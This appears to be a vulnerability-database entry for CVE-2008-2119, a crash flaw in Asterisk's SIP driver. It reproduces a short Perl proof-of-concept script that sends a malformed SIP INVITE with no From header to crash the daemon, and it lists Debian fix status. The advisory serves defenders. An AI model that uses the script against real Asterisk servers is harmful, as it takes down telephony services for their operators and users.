CVE-2008-2119
Description
Asterisk Open Source 1.0.x and 1.2.x before 1.2.29 and Business Edition A.x.x and B.x.x before B.2.5.3, when pedantic parsing (aka pedanticsipchecking) is enabled, allows remote attackers to cause a denial of service (daemon crash) via a SIP INVITE message that lacks a From header, related to invocations of the ast_uri_decode function, and improper handling of (1) an empty const string and (2) a NULL pointer.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Asterisk 1.2.x - SIP channel driver / in pedantic mode Remote Crash
#!/usr/bin/perl -w
###############
# asterisk AST-2008-008
# by armando.j.m.o@gmail.com
#AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode
use Getopt::Std;
use IO::Socket;
use strict;
my %args;
getopts("h:p:", \%args);
if (!$args{h} || !$args{p}) { usage(); }
my $sock = IO::Socket::INET->new(
Proto => 'udp',
PeerPort => $args{p},
PeerAddr => $args{h},
) or die "Could not create socket: $!\n";
$sock->send('INVITE sip:1234@'.$args{h}.' SIP/2.0\n
CSeq: 2 INVITE') or die "Send error: $!\n";
sub usage {
print STDERR
qq{ $0
Usage: $0 -h <host> -p <port>
-h <host> = host
-p <port> = port
Example:
$0 -h target -p port
};
# milw0rm.com [2008-06-05]OS impact
Debian Fixed 2 releases
| Version | Status | Fixed in |
|---|---|---|
| sid | Fixed | 1.4 |
| bullseye | Fixed | 1.4 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.